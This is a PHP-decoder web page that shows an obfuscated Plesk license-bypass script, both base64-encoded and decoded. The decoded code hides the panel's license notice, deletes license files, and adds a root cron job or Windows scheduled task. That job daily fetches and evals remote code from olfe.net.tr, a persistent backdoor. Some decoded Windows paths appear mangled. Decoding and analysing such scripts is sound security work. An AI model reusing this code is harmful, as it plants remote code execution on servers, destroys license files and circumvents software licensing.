Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnRXVyb3BlL0lzdGFuYnVsJyk7DQppZihp..

Decoded Output download

date_default_timezone_set('Europe/Istanbul');
if(is_file('/usr/local/psa/bin/license')){
	$System	= 'Linux';
	$Lic_Dir	= '/etc/sw/keys/keys/';
	$File_Lic	= '/usr/local/psa/bin/license';
	$Xml_Path	= '/usr/local/psa/bin/license.xml';
	$File_Head	= '/usr/local/psa/admin/application/default/layouts/_header.phtml';
	$Main_CSS	= '/usr/local/psa/admin/cp/public/theme/css/main.css';
	$AdminBin	= '/usr/local/psa/admin/bin/';
	$Exec_End	= ' 2>&1';
}elseif(is_file('C:\Program Files (x86)\Parallels\Pleskin\license.exe')){
	$System	= 'Windows';
	$Lic_Dir	= 'C:\Program Files (x86)\Parallels\Pleskdmin
epository\keys\';
	$File_Lic	= 'C:\Program Files (x86)\Parallels\Pleskin\license.exe';
	$Xml_Path	= 'C:\Program Files (x86)\Parallels\Pleskin\license.xml';
	$File_Head	= 'C:\Program Files (x86)\Parallels\Pleskdminpplication\default\layouts\_header.phtml';
	$Main_CSS	= 'C:\Program Files (x86)\Parallels\Pleskdmin\cp\public	heme\css\main.css';
	$AdminBin	= 'C:\Program Files (x86)\Parallels\Pleskdminin\';
	$Exec_End	= '';
}elseif(is_file('C:\Program Files (x86)\Pleskin\license.exe')){
	$System	= 'Windows';
	$Lic_Dir	= 'C:\Program Files (x86)\Pleskdmin
epository\keys\';
	$File_Lic	= 'C:\Program Files (x86)\Pleskin\license.exe';
	$Xml_Path	= 'C:\Program Files (x86)\Pleskin\license.xml';
	$File_Head	= 'C:\Program Files (x86)\Pleskdminpplication\default\layouts\_header.phtml';
	$Main_CSS	= 'C:\Program Files (x86)\Pleskdmin\cp\public	heme\css\main.css';
	$AdminBin	= 'C:\Program Files (x86)\Pleskdminin\';
	$Exec_End	= '';
}else{
	echo "[1;35mOlfe: [1;37mSunucuda Plesk Panel yazlm bulunamad.\e[0m 
";
	exit;
}
echo "[1;35mOlfe: [1;37mSistem tr ".$System." olarak tespit edildi.\e[0m 
";
if(is_file($File_Lic)){
	if(is_file($File_Head)){
		$Kaynak	= file_get_contents($File_Head);
		if(!strstr($Kaynak,'Olfe Lisans')){
			if(strstr($Kaynak,'Olfe Lisans') and is_file($File_Head.".orjinal")){
				copy($File_Head.".orjinal",$File_Head);
			}else{
				copy($File_Head,$File_Head.".orjinal");
			}
			$Kaynak	= preg_replace('`<div.*?id="license-status".*?>.*?<\/div>`i','<!--Olfe Lisans-->',$Kaynak);
			$Kaynak	= preg_replace('`<\?=.*this->licenseStatus\(.*\?>`i','<!--Olfe Lisans-->',$Kaynak);
			$Kaynak	= file_put_contents($File_Head,$Kaynak);
			echo "[1;35mOlfe: [1;37mPanel baaryla gncellendi.\e[0m 
";
		}else{
			echo "[1;35mOlfe: [1;37mPanel zaten gncel.\e[0m 
";
		}
	}
	if(is_file($Main_CSS)){
		$Kaynak	= file_get_contents($Main_CSS);
		if(!strstr($Kaynak,'.license-status{display:none;p')){
			$Kaynak	= str_replace('.license-status{p','.license-status{display:none;p',$Kaynak);
			$Kaynak	= file_put_contents($Main_CSS,$Kaynak);
			echo "[1;35mOlfe: [1;37mPanel baaryla gncellendi.\e[0m 
";
		}else{
			echo "[1;35mOlfe: [1;37mPanel zaten gncel.\e[0m 
";
		}
	}
	if($System == 'Linux'){
		if(is_file('/var/spool/cron/root')){
			$Cron	= file_get_contents('/var/spool/cron/root');
			if(!strstr($Cron,'Olfe Lisans')){
				if(strstr($Cron,'Olfe Lisans')){
					shell_exec('sed -ie "/Olfe Lisans/d" /var/spool/cron/root;'.$Exec_End);
				}
				file_put_contents('/var/spool/cron/root',"0	6	*	*	*	".$AdminBin."php -er \"eval(file_get_contents('https://olfe.net.tr/plesk/trial/code'));\"	#Olfe Lisans
",FILE_APPEND);
				echo "[1;35mOlfe: [1;37mCron grevi ekleme baarl.\e[0m 
";
			}else{
				echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m 
";
			}
		}else{
			echo "[1;35mOlfe: [1;37m/var/spool/cron/root dizini olmadndan cron grevi kontrol edilemedi.\e[0m 
";		
			echo "[1;35mOlfe: [1;37mCron grevi iin ikinci yntem deneniyor.\e[0m 
";		

			$Cron	= file_get_contents('/etc/crontab');
			if(!strstr($Cron,'Olfe Lisans')){
				if(strstr($Cron,'Olfe Lisans')){
					shell_exec('sed -ie "/Olfe Lisans/d" /etc/crontab;'.$Exec_End);
				}
				file_put_contents('/etc/crontab',"0	6	*	*	*	 root ".$AdminBin."php -er \"eval(file_get_contents('https://olfe.net.tr/plesk/trial/code'));\"	#Olfe Lisans
",FILE_APPEND);
				echo "[1;35mOlfe: [1;37mCron grevi ekleme ikinci yntemle baarl.\e[0m 
";
			}else{
				echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m 
";
			}
		}
			
	}elseif($System == 'Windows'){
		$CronBul=trim(shell_exec('schtasks /Query | findstr "Olfe Lisans"'.$Exec_End));
		if(!stristr($CronBul,'Olfe Lisans')){
			if(stristr($CronBul,'Olfe Lisans')){
				preg_match_all('`Olfe Lisans\s\w[.\d]+`i',$CronBul,$Liste, PREG_PATTERN_ORDER);
				foreach($Liste[0] as $Tmp => $CNM){
					shell_exec('schtasks /Delete /tn "'.trim($CNM).'" /F'.$Exec_End);
				}
			}
			shell_exec('schtasks /create /tn "Olfe Lisans" /tr "\"%plesk_bin%\php.exe\" -er \"eval(file_get_contents(\\"https://olfe.net.tr/plesk/trial/code\\"));\"" /sc DAILY /mo 1'.$Exec_End);
			echo "[1;35mOlfe: [1;37mCron grevi ekleme baarl.\e[0m 
";
		}else{
			echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m 
";
		}
	}
	$LicDeneSay=1;
	foreach(scandir($Lic_Dir) as $File){
		if(!in_array($File,['.','..'])){
			$Filx=file_get_contents($Lic_Dir.$File);
			if(stristr($Filx,'>plesk-unified<') and !stristr($Filx,'plesk-unified:domains core:type="integer">unlimited</plesk-unified:domains')){
				echo "[1;35mOlfe: [1;37mEski geersiz lisansnz silindi. Bilgi: ".$Lic_Dir.$File."\e[0m 
";
				unlink($Lic_Dir.$File);
			}elseif(stristr($Filx,'<core:expiration-date core:type="date">')){
				$ZamanAl	= explode('<core:expiration-date core:type="date">',$Filx,2);
				$ZamanAl	= explode('</',$ZamanAl[1],2);
				if(strtotime($ZamanAl[0]) > strtotime("+1 days")){
					echo "[1;35mOlfe: [1;37mDosyanzn sresi gncel gzkyor. Bilgi: ".$Lic_Dir.$File."\e[0m 
";
				}else{
					echo "[1;35mOlfe: [1;37mYaknda bitecek olan mevcut lisansnz silindi. Bilgi: ".$Lic_Dir.$File."\e[0m 
";
					unlink($Lic_Dir.$File);
				}
			}else{
				echo "[1;35mOlfe: [1;37mMevcut lisans dosyanz hatal, silindi. Bilgi: ".$Lic_Dir.$File."\e[0m 
";
				unlink($Lic_Dir.$File);
			}
		}
	}
	echo "[1;35mOlfe: [1;37mMevcut lisansnz inceleniyor...\e[0m 
";
		$LicKontrol=trim(@shell_exec('plesk bin license --retrieve'));
	if(stristr($LicKontrol,': Done')){
		echo "[1;35mOlfe: [1;37mMevcut lisansnz yenilenmeli.\e[0m 
";
		echo "[1;35mOlfe: [1;37mMevcut lisansnz baaryla yenilendi.\e[0m 
";
		shell_exec('plesk db "DELETE FROM psa.sessions";');
	}elseif(!stristr($LicKontrol,': Done')){
		echo "[1;35mOlfe: [1;37mYeni lisans kodunuz: \e[0m 
";
		LisanslamaUygula:
		echo "[1;35mOlfe: [1;37mLisans ykleniyor...\e[0m 
";
		$Ins=trim(shell_exec('"'.$File_Lic.'" -i ""'.$Exec_End));
		if(stristr($Ins,'successfully installed')){
			echo "[1;35mOlfe: [1;37mLisans ykleme: [32mBAARILI\e[0m 
";
			shell_exec('plesk db "DELETE FROM psa.sessions";');
		}elseif(0 > 5 and $LicDeneSay < 3){
			$LicDeneSay++;
			echo "[1;35mOlfe: [1;37mLisans ykleme: [31mBAARISIZ\e[0m 
";
			OzelLisansAlYukle:
			echo "[1;35mOlfe: [1;37mzel lisans tahsis ediliyor.\e[0m 
";
						echo "[1;35mOlfe: [1;37mzel lisans kodunuz tahsis edildi. Bilgi: \e[0m 
";
			Goto LisanslamaUygula;
		}else{
			echo "[1;35mOlfe: [1;37mSistem hatas! Bilgi: '".$Ins."'\e[0m 
";
		}
	}
}

Did this file decode correctly?

Original Code


eval(base64_decode("ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnRXVyb3BlL0lzdGFuYnVsJyk7DQppZihpc19maWxlKCcvdXNyL2xvY2FsL3BzYS9iaW4vbGljZW5zZScpKXsNCgkkU3lzdGVtCT0gJ0xpbnV4JzsNCgkkTGljX0Rpcgk9ICcvZXRjL3N3L2tleXMva2V5cy8nOw0KCSRGaWxlX0xpYwk9ICcvdXNyL2xvY2FsL3BzYS9iaW4vbGljZW5zZSc7DQoJJFhtbF9QYXRoCT0gJy91c3IvbG9jYWwvcHNhL2Jpbi9saWNlbnNlLnhtbCc7DQoJJEZpbGVfSGVhZAk9ICcvdXNyL2xvY2FsL3BzYS9hZG1pbi9hcHBsaWNhdGlvbi9kZWZhdWx0L2xheW91dHMvX2hlYWRlci5waHRtbCc7DQoJJE1haW5fQ1NTCT0gJy91c3IvbG9jYWwvcHNhL2FkbWluL2NwL3B1YmxpYy90aGVtZS9jc3MvbWFpbi5jc3MnOw0KCSRBZG1pbkJpbgk9ICcvdXNyL2xvY2FsL3BzYS9hZG1pbi9iaW4vJzsNCgkkRXhlY19FbmQJPSAnIDI+JjEnOw0KfWVsc2VpZihpc19maWxlKCdDOlxQcm9ncmFtIEZpbGVzICh4ODYpXFBhcmFsbGVsc1xQbGVza1xiaW5cbGljZW5zZS5leGUnKSl7DQoJJFN5c3RlbQk9ICdXaW5kb3dzJzsNCgkkTGljX0Rpcgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGFyYWxsZWxzXFxQbGVza1xcYWRtaW5cXHJlcG9zaXRvcnlcXGtleXNcXCc7DQoJJEZpbGVfTGljCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxiaW5cXGxpY2Vuc2UuZXhlJzsNCgkkWG1sX1BhdGgJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBhcmFsbGVsc1xcUGxlc2tcXGJpblxcbGljZW5zZS54bWwnOw0KCSRGaWxlX0hlYWQJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBhcmFsbGVsc1xcUGxlc2tcXGFkbWluXFxhcHBsaWNhdGlvblxcZGVmYXVsdFxcbGF5b3V0c1xcX2hlYWRlci5waHRtbCc7DQoJJE1haW5fQ1NTCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxhZG1pblxcY3BcXHB1YmxpY1xcdGhlbWVcXGNzc1xcbWFpbi5jc3MnOw0KCSRBZG1pbkJpbgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGFyYWxsZWxzXFxQbGVza1xcYWRtaW5cXGJpblxcJzsNCgkkRXhlY19FbmQJPSAnJzsNCn1lbHNlaWYoaXNfZmlsZSgnQzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxQbGVza1xiaW5cbGljZW5zZS5leGUnKSl7DQoJJFN5c3RlbQk9ICdXaW5kb3dzJzsNCgkkTGljX0Rpcgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGFkbWluXFxyZXBvc2l0b3J5XFxrZXlzXFwnOw0KCSRGaWxlX0xpYwk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGJpblxcbGljZW5zZS5leGUnOw0KCSRYbWxfUGF0aAk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGJpblxcbGljZW5zZS54bWwnOw0KCSRGaWxlX0hlYWQJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxhZG1pblxcYXBwbGljYXRpb25cXGRlZmF1bHRcXGxheW91dHNcXF9oZWFkZXIucGh0bWwnOw0KCSRNYWluX0NTUwk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGFkbWluXFxjcFxccHVibGljXFx0aGVtZVxcY3NzXFxtYWluLmNzcyc7DQoJJEFkbWluQmluCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQbGVza1xcYWRtaW5cXGJpblxcJzsNCgkkRXhlY19FbmQJPSAnJzsNCn1lbHNlew0KCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtU3VudWN1ZGEgUGxlc2sgUGFuZWwgeWF6xLFsxLFtxLEgYnVsdW5hbWFkxLEuXGVbMG0gXG4iOw0KCWV4aXQ7DQp9DQplY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVNpc3RlbSB0w7xyw7wgIi4kU3lzdGVtLiIgb2xhcmFrIHRlc3BpdCBlZGlsZGkuXGVbMG0gXG4iOw0KaWYoaXNfZmlsZSgkRmlsZV9MaWMpKXsNCglpZihpc19maWxlKCRGaWxlX0hlYWQpKXsNCgkJJEtheW5hawk9IGZpbGVfZ2V0X2NvbnRlbnRzKCRGaWxlX0hlYWQpOw0KCQlpZighc3Ryc3RyKCRLYXluYWssJ09sZmUgTGlzYW5zJykpew0KCQkJaWYoc3Ryc3RyKCRLYXluYWssJ09sZmUgTGlzYW5zJykgYW5kIGlzX2ZpbGUoJEZpbGVfSGVhZC4iLm9yamluYWwiKSl7DQoJCQkJY29weSgkRmlsZV9IZWFkLiIub3JqaW5hbCIsJEZpbGVfSGVhZCk7DQoJCQl9ZWxzZXsNCgkJCQljb3B5KCRGaWxlX0hlYWQsJEZpbGVfSGVhZC4iLm9yamluYWwiKTsNCgkJCX0NCgkJCSRLYXluYWsJPSBwcmVnX3JlcGxhY2UoJ2A8ZGl2Lio/aWQ9ImxpY2Vuc2Utc3RhdHVzIi4qPz4uKj88XC9kaXY+YGknLCc8IS0tT2xmZSBMaXNhbnMtLT4nLCRLYXluYWspOw0KCQkJJEtheW5hawk9IHByZWdfcmVwbGFjZSgnYDxcPz0uKnRoaXMtPmxpY2Vuc2VTdGF0dXNcKC4qXD8+YGknLCc8IS0tT2xmZSBMaXNhbnMtLT4nLCRLYXluYWspOw0KCQkJJEtheW5hawk9IGZpbGVfcHV0X2NvbnRlbnRzKCRGaWxlX0hlYWQsJEtheW5hayk7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVBhbmVsIGJhxZ9hcsSxeWxhIGfDvG5jZWxsZW5kaS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21QYW5lbCB6YXRlbiBnw7xuY2VsLlxlWzBtIFxuIjsNCgkJfQ0KCX0NCglpZihpc19maWxlKCRNYWluX0NTUykpew0KCQkkS2F5bmFrCT0gZmlsZV9nZXRfY29udGVudHMoJE1haW5fQ1NTKTsNCgkJaWYoIXN0cnN0cigkS2F5bmFrLCcubGljZW5zZS1zdGF0dXN7ZGlzcGxheTpub25lO3AnKSl7DQoJCQkkS2F5bmFrCT0gc3RyX3JlcGxhY2UoJy5saWNlbnNlLXN0YXR1c3twJywnLmxpY2Vuc2Utc3RhdHVze2Rpc3BsYXk6bm9uZTtwJywkS2F5bmFrKTsNCgkJCSRLYXluYWsJPSBmaWxlX3B1dF9jb250ZW50cygkTWFpbl9DU1MsJEtheW5hayk7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVBhbmVsIGJhxZ9hcsSxeWxhIGfDvG5jZWxsZW5kaS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21QYW5lbCB6YXRlbiBnw7xuY2VsLlxlWzBtIFxuIjsNCgkJfQ0KCX0NCglpZigkU3lzdGVtID09ICdMaW51eCcpew0KCQlpZihpc19maWxlKCcvdmFyL3Nwb29sL2Nyb24vcm9vdCcpKXsNCgkJCSRDcm9uCT0gZmlsZV9nZXRfY29udGVudHMoJy92YXIvc3Bvb2wvY3Jvbi9yb290Jyk7DQoJCQlpZighc3Ryc3RyKCRDcm9uLCdPbGZlIExpc2FucycpKXsNCgkJCQlpZihzdHJzdHIoJENyb24sJ09sZmUgTGlzYW5zJykpew0KCQkJCQlzaGVsbF9leGVjKCdzZWQgLWllICIvT2xmZSBMaXNhbnMvZCIgL3Zhci9zcG9vbC9jcm9uL3Jvb3Q7Jy4kRXhlY19FbmQpOw0KCQkJCX0NCgkJCQlmaWxlX3B1dF9jb250ZW50cygnL3Zhci9zcG9vbC9jcm9uL3Jvb3QnLCIwXHQ2XHQqXHQqXHQqXHQiLiRBZG1pbkJpbi4icGhwIC1lciBcImV2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vb2xmZS5uZXQudHIvcGxlc2svdHJpYWwvY29kZScpKTtcIlx0I09sZmUgTGlzYW5zXG4iLEZJTEVfQVBQRU5EKTsNCgkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUNyb24gZ8O2cmV2aSBla2xlbWUgYmHFn2FyxLFsxLEuXGVbMG0gXG4iOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJCX0NCgkJfWVsc2V7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bS92YXIvc3Bvb2wvY3Jvbi9yb290IGRpemluaSBvbG1hZMSxxJ/EsW5kYW4gY3JvbiBnw7ZyZXZpIGtvbnRyb2wgZWRpbGVtZWRpLlxlWzBtIFxuIjsJCQ0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgacOnaW4gaWtpbmNpIHnDtm50ZW0gZGVuZW5peW9yLlxlWzBtIFxuIjsJCQ0KDQoJCQkkQ3Jvbgk9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2Nyb250YWInKTsNCgkJCWlmKCFzdHJzdHIoJENyb24sJ09sZmUgTGlzYW5zJykpew0KCQkJCWlmKHN0cnN0cigkQ3JvbiwnT2xmZSBMaXNhbnMnKSl7DQoJCQkJCXNoZWxsX2V4ZWMoJ3NlZCAtaWUgIi9PbGZlIExpc2Fucy9kIiAvZXRjL2Nyb250YWI7Jy4kRXhlY19FbmQpOw0KCQkJCX0NCgkJCQlmaWxlX3B1dF9jb250ZW50cygnL2V0Yy9jcm9udGFiJywiMFx0Nlx0Klx0Klx0Klx0IHJvb3QgIi4kQWRtaW5CaW4uInBocCAtZXIgXCJldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL29sZmUubmV0LnRyL3BsZXNrL3RyaWFsL2NvZGUnKSk7XCJcdCNPbGZlIExpc2Fuc1xuIixGSUxFX0FQUEVORCk7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgZWtsZW1lIGlraW5jaSB5w7ZudGVtbGUgYmHFn2FyxLFsxLEuXGVbMG0gXG4iOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJCX0NCgkJfQ0KCQkJDQoJfWVsc2VpZigkU3lzdGVtID09ICdXaW5kb3dzJyl7DQoJCSRDcm9uQnVsPXRyaW0oc2hlbGxfZXhlYygnc2NodGFza3MgL1F1ZXJ5IHwgZmluZHN0ciAiT2xmZSBMaXNhbnMiJy4kRXhlY19FbmQpKTsNCgkJaWYoIXN0cmlzdHIoJENyb25CdWwsJ09sZmUgTGlzYW5zJykpew0KCQkJaWYoc3RyaXN0cigkQ3JvbkJ1bCwnT2xmZSBMaXNhbnMnKSl7DQoJCQkJcHJlZ19tYXRjaF9hbGwoJ2BPbGZlIExpc2Fuc1xzXHdbLlxkXStgaScsJENyb25CdWwsJExpc3RlLCBQUkVHX1BBVFRFUk5fT1JERVIpOw0KCQkJCWZvcmVhY2goJExpc3RlWzBdIGFzICRUbXAgPT4gJENOTSl7DQoJCQkJCXNoZWxsX2V4ZWMoJ3NjaHRhc2tzIC9EZWxldGUgL3RuICInLnRyaW0oJENOTSkuJyIgL0YnLiRFeGVjX0VuZCk7DQoJCQkJfQ0KCQkJfQ0KCQkJc2hlbGxfZXhlYygnc2NodGFza3MgL2NyZWF0ZSAvdG4gIk9sZmUgTGlzYW5zIiAvdHIgIlwiJXBsZXNrX2JpbiVccGhwLmV4ZVwiIC1lciBcImV2YWwoZmlsZV9nZXRfY29udGVudHMoXFxcXFwiaHR0cHM6Ly9vbGZlLm5ldC50ci9wbGVzay90cmlhbC9jb2RlXFxcXFwiKSk7XCIiIC9zYyBEQUlMWSAvbW8gMScuJEV4ZWNfRW5kKTsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtQ3JvbiBnw7ZyZXZpIGVrbGVtZSBiYcWfYXLEsWzEsS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJfQ0KCX0NCgkkTGljRGVuZVNheT0xOw0KCWZvcmVhY2goc2NhbmRpcigkTGljX0RpcikgYXMgJEZpbGUpew0KCQlpZighaW5fYXJyYXkoJEZpbGUsWycuJywnLi4nXSkpew0KCQkJJEZpbHg9ZmlsZV9nZXRfY29udGVudHMoJExpY19EaXIuJEZpbGUpOw0KCQkJaWYoc3RyaXN0cigkRmlseCwnPnBsZXNrLXVuaWZpZWQ8JykgYW5kICFzdHJpc3RyKCRGaWx4LCdwbGVzay11bmlmaWVkOmRvbWFpbnMgY29yZTp0eXBlPSJpbnRlZ2VyIj51bmxpbWl0ZWQ8L3BsZXNrLXVuaWZpZWQ6ZG9tYWlucycpKXsNCgkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUVza2kgZ2XDp2Vyc2l6IGxpc2Fuc8SxbsSxeiBzaWxpbmRpLiBCaWxnaTogIi4kTGljX0Rpci4kRmlsZS4iXGVbMG0gXG4iOw0KCQkJCXVubGluaygkTGljX0Rpci4kRmlsZSk7DQoJCQl9ZWxzZWlmKHN0cmlzdHIoJEZpbHgsJzxjb3JlOmV4cGlyYXRpb24tZGF0ZSBjb3JlOnR5cGU9ImRhdGUiPicpKXsNCgkJCQkkWmFtYW5BbAk9IGV4cGxvZGUoJzxjb3JlOmV4cGlyYXRpb24tZGF0ZSBjb3JlOnR5cGU9ImRhdGUiPicsJEZpbHgsMik7DQoJCQkJJFphbWFuQWwJPSBleHBsb2RlKCc8LycsJFphbWFuQWxbMV0sMik7DQoJCQkJaWYoc3RydG90aW1lKCRaYW1hbkFsWzBdKSA+IHN0cnRvdGltZSgiKzEgZGF5cyIpKXsNCgkJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Eb3N5YW7EsXrEsW4gc8O8cmVzaSBnw7xuY2VsIGfDtnrDvGvDvHlvci4gQmlsZ2k6ICIuJExpY19EaXIuJEZpbGUuIlxlWzBtIFxuIjsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21ZYWvEsW5kYSBiaXRlY2VrIG9sYW4gbWV2Y3V0IGxpc2Fuc8SxbsSxeiBzaWxpbmRpLiBCaWxnaTogIi4kTGljX0Rpci4kRmlsZS4iXGVbMG0gXG4iOw0KCQkJCQl1bmxpbmsoJExpY19EaXIuJEZpbGUpOw0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2FucyBkb3N5YW7EsXogaGF0YWzEsSwgc2lsaW5kaS4gQmlsZ2k6ICIuJExpY19EaXIuJEZpbGUuIlxlWzBtIFxuIjsNCgkJCQl1bmxpbmsoJExpY19EaXIuJEZpbGUpOw0KCQkJfQ0KCQl9DQoJfQ0KCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiBpbmNlbGVuaXlvci4uLlxlWzBtIFxuIjsNCgkJJExpY0tvbnRyb2w9dHJpbShAc2hlbGxfZXhlYygncGxlc2sgYmluIGxpY2Vuc2UgLS1yZXRyaWV2ZScpKTsNCglpZihzdHJpc3RyKCRMaWNLb250cm9sLCc6IERvbmUnKSl7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiB5ZW5pbGVubWVsaS5cZVswbSBcbiI7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiBiYcWfYXLEsXlsYSB5ZW5pbGVuZGkuXGVbMG0gXG4iOw0KCQlzaGVsbF9leGVjKCdwbGVzayBkYiAiREVMRVRFIEZST00gcHNhLnNlc3Npb25zIjsnKTsNCgl9ZWxzZWlmKCFzdHJpc3RyKCRMaWNLb250cm9sLCc6IERvbmUnKSl7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtWWVuaSBsaXNhbnMga29kdW51ejogXGVbMG0gXG4iOw0KCQlMaXNhbnNsYW1hVXlndWxhOg0KCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUxpc2FucyB5w7xrbGVuaXlvci4uLlxlWzBtIFxuIjsNCgkJJElucz10cmltKHNoZWxsX2V4ZWMoJyInLiRGaWxlX0xpYy4nIiAtaSAiIicuJEV4ZWNfRW5kKSk7DQoJCWlmKHN0cmlzdHIoJElucywnc3VjY2Vzc2Z1bGx5IGluc3RhbGxlZCcpKXsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTGlzYW5zIHnDvGtsZW1lOiBcMDMzWzMybUJBxZ5BUklMSVxlWzBtIFxuIjsNCgkJCXNoZWxsX2V4ZWMoJ3BsZXNrIGRiICJERUxFVEUgRlJPTSBwc2Euc2Vzc2lvbnMiOycpOw0KCQl9ZWxzZWlmKDAgPiA1IGFuZCAkTGljRGVuZVNheSA8IDMpew0KCQkJJExpY0RlbmVTYXkrKzsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTGlzYW5zIHnDvGtsZW1lOiBcMDMzWzMxbUJBxZ5BUklTSVpcZVswbSBcbiI7DQoJCQlPemVsTGlzYW5zQWxZdWtsZToNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7Mzdtw5Z6ZWwgbGlzYW5zIHRhaHNpcyBlZGlsaXlvci5cZVswbSBcbiI7DQoJCQkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bcOWemVsIGxpc2FucyBrb2R1bnV6IHRhaHNpcyBlZGlsZGkuIEJpbGdpOiBcZVswbSBcbiI7DQoJCQlHb3RvIExpc2Fuc2xhbWFVeWd1bGE7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21TaXN0ZW0gaGF0YXPEsSEgQmlsZ2k6ICciLiRJbnMuIidcZVswbSBcbiI7DQoJCX0NCgl9DQp9DQo="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e4f66cdf11796f5c0b31391271d82251
Eval Count 1
Decode Time 84 ms